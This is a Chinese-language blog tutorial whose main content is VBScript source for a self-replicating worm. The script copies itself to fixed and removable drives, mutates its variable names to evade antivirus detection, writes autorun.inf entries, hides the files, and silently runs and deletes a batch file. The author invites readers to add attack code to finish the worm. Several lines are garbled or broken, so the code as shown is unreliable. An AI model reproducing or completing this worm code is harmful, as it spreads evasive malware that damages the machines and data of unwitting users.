vbs之类蠕虫病毒的编写
文章标题之所以称为类蠕虫,是因为攻击代码 即主题代码还没实现
sub yitiaolong()                    '定义一条龙过程
on error resume next          '这里是防止没有发现匹配设备时而报错
dim drivearray                  '初始化数组变量
dim drive                            '驱动器句柄变量
dim strarray                      '初始化字符串数组变量
dim vbcode                          '用于接收变异的自身代码
dim file
dim dirc                            '用于获取随机文件名
set fso=createobject("scripting.filesystemobject")
set objshell=createobject("wscript.shell")
drivearray=array("c:","d:","e:","f:","g:","h:") '定义一个数组,元素即为盘符,可自行增加
for i=0 to 5                                                        '循环对比磁盘
set drive(drivearray(i))                '获取驱动器的句柄
if drive.drivetype=1 or drive.drivetype=2 then '等于1为可移动磁盘,2为固定硬盘
strarray=array("vbcode","objshell","fso","filehacker")                                  '定义一个数组啦,用于存放要变化的字符
vbcode=fso.opentextfile(wscript.scriptfullname,1).readall                            '读取自身代码,并赋值给变量vbcode
for stri=0 to 3                                   
vbcode=replace(vbcode,strarray(stri),chr((int)((rnd*22)+97))& chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))&chr((int) ((rnd*22)+97)))  '用随机生成的字符取代数组离得字符
next
set atetextfile(drivearray(i)+"\") '如果发现移动硬盘或固定驱动器就往里面创建文件
file.writeline vbcode                                                '往里写入自身代码
file.close
dirc=chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))  '定义一个变量,赋值是随机的
set file(drivearray(i)&"\")        '得到的句柄
file.delete                                                          '删除自身
set atetextfile(drivearray(i)+"\")    '在驱动器根目录里生成文本文件
file.writeline "[autorun]"                                                    '写入内容啦
file.writeline "open="&dirc&".vbs"
file.writeline "shell/open=打开(&0)"
file.writeline "shell/open/command="&dirc&".vbs"
file.writeline "shell/oth=资源管理器(&X)"shell创建文件并写入内容
file.writeline "shell/oth/command="&dirc&".vbs"
file.close
set file(drivearray(i)+"\")              '这里不用说啦吧,获得句柄
file.delete                                                                      '删除
自己
set atetextfile(drivearray(i)+"\")    '在创建文件
file.writeline "attrib +s +h +r "&drivearray(i)&"\autorun.inf"
file.writeline "attrib +s +h +r "&drivearray(i)&"\"&dirc&".vbs"
file.close
set file(drivearray(i)+"\")
file.delete
file=drivearray(i)+"\hack.bat"                 
objshell.run(file),vbhide                                  '隐藏执行hack.bat文件
wscript.sleep 1000                                            '延时1秒再执行
objshell.run("cmd /c del "&file),vbhide            '删除hack.bat
end if
next
set fso=nothing
set objshell=nothing                                        '主要是释放内存空间,你还可以自行添加
end sub
这里已经实现自我复制,变量的自我修改,文件名的不同,autorun文件的自动生成和自我隐藏
后续的发展就要看读者啦,你的散发思维啦 , 加入攻击代码 ,就会是一个很好的VBS型的蠕虫啦
在这里先说下抱歉,文章中的自我变异免杀的功能不会很好,只能怪笔者能力有限啦,没能实现脚本的真正的自我变种
还说几句,在脚本方面,WMI 即windows管理规划,这里有强的功能,但我这方面还涉及很少啦,有机会大家一起交流啦!!!!

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。